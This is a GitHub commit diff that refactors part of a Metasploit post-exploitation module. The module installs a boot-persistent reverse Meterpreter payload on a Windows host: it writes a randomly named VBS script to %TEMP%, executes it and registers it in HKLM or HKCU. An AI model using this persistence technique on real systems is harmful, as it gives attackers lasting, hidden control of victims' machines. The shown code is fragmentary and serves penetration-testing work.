Skip to content

Commit 091322f

Browse files
committed
Merge pull request #2 from jvazquez-r7/persistence_vbs
using Post::File methods plus little more cleanup
2 parents 7485e42 + 42a6d96 commit 091322f

File tree

1 file changed

+4
-24
lines changed

1 file changed

+4
-24
lines changed

modules/exploits/windows/local/persistence.rb

Lines changed: 4 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -26,11 +26,10 @@ def initialize(info={})
2626
super( update_info( info,
2727
'Name' => 'Windows Manage Persistent Payload Installer',
2828
'Description' => %q{
29-
This Module will create a boot persistent reverse Meterpreter session by
29+
This Module will create a boot persistent reverse Meterpreter session by
3030
installing on the target host the payload as a script that will be executed
3131
at user logon or system startup depending on privilege and selected startup
3232
method.
33-
3433
},
3534
'License' => MSF_LICENSE,
3635
'Author' =>
@@ -54,8 +53,7 @@ def initialize(info={})
5453

5554
end
5655

57-
# Exploit Method for when run command is issued
58-
#-------------------------------------------------------------------------------
56+
# Exploit Method for when exploit command is issued
5957
def exploit
6058
print_status("Running module against #{sysinfo['Computer']}")
6159

@@ -114,20 +112,7 @@ def exploit
114112
)
115113
end
116114

117-
# Creates persistent script
118-
#-------------------------------------------------------------------------------
119-
def create_script(delay, altexe)
120-
if not altexe.nil?
121-
vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay, :template => altexe})
122-
else
123-
vbs = ::Msf::Util::EXE.to_win32pe_vbs(session.framework, payload.raw, {:persist => true, :delay => delay})
124-
end
125-
print_status("Persistent agent script is #{vbs.length} bytes long")
126-
return vbs
127-
end
128-
129115
# Function for creating log folder and returning log path
130-
#-------------------------------------------------------------------------------
131116
def log_file(log_path = nil)
132117
#Get hostname
133118
host = session.sys.config.sysinfo["Computer"]
@@ -151,18 +136,15 @@ def log_file(log_path = nil)
151136
end
152137

153138
# Writes script to target host
154-
#-------------------------------------------------------------------------------
155139
def write_script_to_target(vbs,name)
156-
tempdir = session.fs.file.expand_path("%TEMP%")
140+
tempdir = expand_path("%TEMP%")
157141
if name == nil
158142
tempvbs = tempdir + "\\" + Rex::Text.rand_text_alpha((rand(8)+6)) + ".vbs"
159143
else
160144
tempvbs = tempdir + "\\" + name + ".vbs"
161145
end
162146
begin
163-
fd = session.fs.file.new(tempvbs, "wb")
164-
fd.write(vbs)
165-
fd.close
147+
write_file(tempvbs, vbs)
166148
print_good("Persistent Script written to #{tempvbs}")
167149
@clean_up_rc << "rm #{tempvbs}\n"
168150
rescue
@@ -174,7 +156,6 @@ def write_script_to_target(vbs,name)
174156
end
175157

176158
# Executes script on target and return the PID of the process
177-
#-------------------------------------------------------------------------------
178159
def target_exec(script_on_target)
179160
execsuccess = true
180161
print_status("Executing script #{script_on_target}")
@@ -193,7 +174,6 @@ def target_exec(script_on_target)
193174
end
194175

195176
# Installs payload in to the registry HKLM or HKCU
196-
#-------------------------------------------------------------------------------
197177
def write_to_reg(key,script_on_target, registry_value)
198178
# Lets start to assume we had success.
199179
write_success = true

0 commit comments

Comments
 (0)